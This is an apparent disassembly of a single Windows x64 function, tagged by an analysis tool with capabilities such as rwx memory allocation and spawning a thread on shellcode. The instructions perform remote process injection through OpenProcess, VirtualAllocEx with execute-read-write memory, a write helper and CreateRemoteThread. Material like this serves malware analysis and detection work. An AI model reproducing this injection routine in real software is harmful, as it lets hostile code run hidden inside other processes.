Function at 0x1400a1480
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x98
lea rbp, [rsp + 0xd0]
xor eax, eax
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x48], rax
lea rcx, [0x14036bd30]
call fcn.140185220
mov rdx, rax
lea rcx, [0x140382470]
call fcn.140187fc0
mov rdx, rax
lea rcx, [0x140382448]
xor r8d, r8d
call fcn.1400a1af0
lea rcx, [0x14036bd30]
call fcn.140185220
mov rcx, rax
call fcn.1400a13d0
lea rcx, [0x140385f88]
lea rdx, [0x14036dc40]
call fcn.1402610e0
mov rdx, rax
lea r8, [rbp - 0x48]
lea rcx, [0x1403baff0]
call fcn.14035b860
mov rbx, rax
test rbx, rbx
jne 0x1400a1534
lea rcx, [0x140382448]
lea rdx, [0x14037e8e8]
mov r8d, 2
call fcn.1400a1af0
xor esi, esi
jmp 0x1400a17cf
mov rcx, rbx
call fcn.140260450
mov rdx, rax
lea rcx, [0x1403bb120]
call fcn.14035b7d0
mov rdx, rax
lea rcx, [0x1403bb148]
call fcn.14035b990
mov rsi, rax
mov rdi, qword [0x14069dd58]
mov r8, qword [rdi + 0x10]
test r8, r8
jne 0x1400a1597
lea rcx, [0x140449a30]
call fcn.140006b10
mov r14, rax
mov rdx, qword [rdi + 8]
mov rcx, r14
call fcn.140003e68
lea rcx, [rdi + 0x10]
mov rdx, r14
call fcn.140006d20
mov r8, r14
mov rdx, rsi
lea rcx, [0x1403bb108]
call fcn.14035b6e0
test eax, eax
je 0x1400a15c8
lea rcx, [0x140382448]
lea rdx, [0x14038a5d0]
mov r8d, 2
call fcn.1400a1af0
jmp 0x1400a152d
lea rcx, [0x140382448]
lea rdx, [0x1403824a0]
xor r8d, r8d
call fcn.1400a1af0
mov rcx, rbx
mov edx, 1
call fcn.140260840
mov r8d, dword [rbx + 0xd0]
mov dword [rbp - 0x4c], r8d
mov ecx, 0xffff
mov dword [rbp - 0x50], ecx
xor edx, edx
mov dword [rbp - 0x54], edx
lea rcx, [rbp - 0x98]
call fcn.140006fa0
mov r8d, dword [rbp - 0x4c]
mov ecx, dword [rbp - 0x50]
mov edx, dword [rbp - 0x54]
call sub.KERNEL32.dll_OpenProcess
mov rbx, rax
lea rcx, [rbp - 0x98]
call fcn.140006ff0
lea rcx, [0x1403a8b00]
call fcn.1400a0e00
mov rcx, rax
lea rdx, [0x1403849d8]
call fcn.1400a0e70
mov rsi, rax
lea rcx, [0x14036bd30]
call fcn.140185220
mov edi, dword [rax + 8]
inc edi
xor ecx, ecx
call sub.KERNEL32.dll_SetLastError
mov dword [rsp + 0x20], 0x40
mov rcx, rbx
mov qword [rbp - 0x5c], rcx
mov r8d, edi
mov dword [rbp - 0x54], r8d
xor edx, edx
mov qword [rbp - 0x64], rdx
mov r9d, 0x3000
mov dword [rbp - 0x50], r9d
lea rcx, [rbp - 0x98]
call fcn.140006fa0
mov rcx, qword [rbp - 0x5c]
mov r8d, dword [rbp - 0x54]
mov rdx, qword [rbp - 0x64]
mov r9d, dword [rbp - 0x50]
call sub.KERNEL32.dll_VirtualAllocEx
mov rdi, rax
lea rcx, [rbp - 0x98]
call fcn.140006ff0
call sub.KERNEL32.dll_GetLastError
mov r14d, eax
call fcn.140003a58
mov dword [rax + 0xf0], r14d
lea rcx, [0x1403be710]
cmp qword [rcx - 8], 0
jne 0x1400a17e7
mov rcx, qword [0x14069e3f8]
mov r14, qword [rcx + 8]
lea rcx, [0x14036bd30]
call fcn.140185220
mov rdx, rax
mov rcx, r14
cmp dword [rcx], ecx
call fcn.14024b7c0
mov r14, rax
lea rcx, [0x14036bd30]
call fcn.140185220
mov r9d, dword [rax + 8]
inc r9d
lea r8, [rbp - 0x40]
mov qword [rsp + 0x20], r8
mov r8, r14
mov rcx, rbx
mov rdx, rdi
call fcn.1400a0f90
lea rcx, [0x140382448]
lea rdx, [0x1403738d0]
xor r8d, r8d
call fcn.1400a1af0
mov qword [rsp + 0x20], rdi
xor ecx, ecx
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x30], rcx
mov rcx, rbx
mov qword [rbp - 0x64], rcx
mov r9, rsi
mov qword [rbp - 0x5c], r9
xor edx, edx
mov qword [rbp - 0x6c], rdx
xor r8d, r8d
mov dword [rbp - 0x50], r8d
lea rcx, [rbp - 0x98]
call fcn.140006fa0
mov rcx, qword [rbp - 0x64]
mov r9, qword [rbp - 0x5c]
mov rdx, qword [rbp - 0x6c]
mov r8d, dword [rbp - 0x50]
call sub.KERNEL32.dll_CreateRemoteThread
lea rcx, [rbp - 0x98]
call fcn.140006ff0
lea rcx, [0x140382448]
lea rdx, [0x14038ca48]
xor r8d, r8d
call fcn.1400a1af0
lea rcx, [0x140382448]
lea rdx, [0x14038a598]
xor r8d, r8d
call fcn.1400a1af0
mov esi, 1
movzx eax, sil
add rsp, 0x98
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call fcn.140002970
jmp 0x1400a16df